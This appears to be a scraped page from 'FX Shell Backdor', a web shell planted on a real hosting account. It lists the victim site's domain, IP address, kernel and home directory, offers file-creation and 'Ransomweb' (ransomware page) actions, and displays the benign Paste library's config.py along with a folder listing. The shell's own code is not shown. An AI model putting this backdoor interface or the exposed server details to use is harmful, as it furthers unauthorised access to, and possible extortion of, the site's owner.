FX Shell Backdor

Website : sae4.02-sati-melih.mmidev.fr

Ip Address : 109.234.166.10

Port : 443

Kernel : Linux filao.o2switch.net 4.18.0-553.30.1.lve.el8.x86_64 #1 SMP Tue Dec 3 01:21:19 UTC 2024 x86_64

Protokol : HTTP/1.1

Save Data :

Koneksi :

Server : Apache

Root : /home/blgu1730/Sae4.02-sati-Melih.mmidev.fr

G-Interface :

R-Method : GET

Browser : Lainnya

Version Shell : 1.0 (Release candidate)

Author : FierzaXploit/Mr.MF33

PATH : /opt/alt/python27/lib/python2.7/site-packages/paste/

Buat File

Buat Folder

Buat Ransomweb

# (c) 2006 Ian Bicking, Philip Jenvey and contributors
# Written for Paste (http://pythonpaste.org)
# Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php
"""Paste Configuration Middleware and Objects"""
from paste.registry import RegistryManager, StackedObjectProxy

__all__ = ['DispatchingConfig', 'CONFIG', 'ConfigMiddleware']

class DispatchingConfig(StackedObjectProxy):
    """
    This is a configuration object that can be used globally,
    imported, have references held onto.  The configuration may differ
    by thread (or may not).

Specific configurations are registered (and deregistered) either
    for the process or for threads.
    """
    # @@: What should happen when someone tries to add this
    # configuration to itself?  Probably the conf should become
    # resolved, and get rid of this delegation wrapper

def __init__(self, name='DispatchingConfig'):
        super(DispatchingConfig, self).__init__(name=name)
        self.__dict__['_process_configs'] = []

def push_thread_config(self, conf):
        """
        Make ``conf`` the active configuration for this thread.
        Thread-local configuration always overrides process-wide
        configuration.

This should be used like::

conf = make_conf()
            dispatching_config.push_thread_config(conf)
            try:
                ... do stuff ...
            finally:
                dispatching_config.pop_thread_config(conf)
        """
        self._push_object(conf)

def pop_thread_config(self, conf=None):
        """
        Remove a thread-local configuration.  If ``conf`` is given,
        it is checked against the popped configuration and an error
        is emitted if they don't match.
        """
        self._pop_object(conf)

def push_process_config(self, conf):
        """
        Like push_thread_config, but applies the configuration to
        the entire process.
        """
        self._process_configs.append(conf)

def pop_process_config(self, conf=None):
        self._pop_from(self._process_configs, conf)

def _pop_from(self, lst, conf):
        popped = lst.pop()
        if conf is not None and popped is not conf:
            raise AssertionError(
                "The config popped (%s) is not the same as the config "
                "expected (%s)"
                % (popped, conf))

def _current_obj(self):
        try:
            return super(DispatchingConfig, self)._current_obj()
        except TypeError:
            if self._process_configs:
                return self._process_configs[-1]
            raise AttributeError(
                "No configuration has been registered for this process "
                "or thread")
    current = current_conf = _current_obj

CONFIG = DispatchingConfig()

no_config = object()
class ConfigMiddleware(RegistryManager):
    """
    A WSGI middleware that adds a ``paste.config`` key (by default)
    to the request environment, as well as registering the
    configuration temporarily (for the length of the request) with
    ``paste.config.CONFIG`` (or any other ``DispatchingConfig``
    object).
    """

def __init__(self, application, config, dispatching_config=CONFIG,
                 environ_key='paste.config'):
        """
        This delegates all requests to `application`, adding a *copy*
        of the configuration `config`.
        """
        def register_config(environ, start_response):
            popped_config = environ.get(environ_key, no_config)
            current_config = environ[environ_key] = config.copy()
            environ['paste.registry'].register(dispatching_config,
                                               current_config)

try:
                app_iter = application(environ, start_response)
            finally:
                if popped_config is no_config:
                    environ.pop(environ_key, None)
                else:
                    environ[environ_key] = popped_config
            return app_iter

super(self.__class__, self).__init__(register_config)

def make_config_filter(app, global_conf, **local_conf):
    conf = global_conf.copy()
    conf.update(local_conf)
    return ConfigMiddleware(app, conf)

make_config_middleware = ConfigMiddleware.__doc__

Type	Name	options
	auth
	cowbell
	debug
	evalexception
	exceptions
	util
	auth
	cascade.py
	cascade.pyc
	cgiapp.py
	cgiapp.pyc
	cgitb_catcher.py
	cgitb_catcher.pyc
	config.py
	config.pyc
	cowbell
	debug
	errordocument.py
	errordocument.pyc
	evalexception
	exceptions
	fileapp.py
	fileapp.pyc
	fixture.py
	fixture.py.stdlib
	fixture.pyc
	flup_session.py
	flup_session.pyc
	gzipper.py
	gzipper.pyc
	httpexceptions.py
	httpexceptions.pyc
	httpheaders.py
	httpheaders.pyc
	httpserver.py
	httpserver.pyc
	lint.py
	lint.pyc
	modpython.py
	modpython.pyc
	pony.py
	pony.pyc
	progress.py
	progress.pyc
	proxy.py
	proxy.pyc
	recursive.py
	recursive.pyc
	registry.py
	registry.pyc
	reloader.py
	reloader.pyc
	request.py
	request.pyc
	response.py
	response.pyc
	session.py
	session.pyc
	transaction.py
	transaction.pyc
	translogger.py
	translogger.pyc
	url.py
	url.pyc
	urlmap.py
	urlmap.pyc
	urlparser.py
	urlparser.pyc
	util
	wsgilib.py
	wsgilib.pyc
	wsgiwrappers.py
	wsgiwrappers.pyc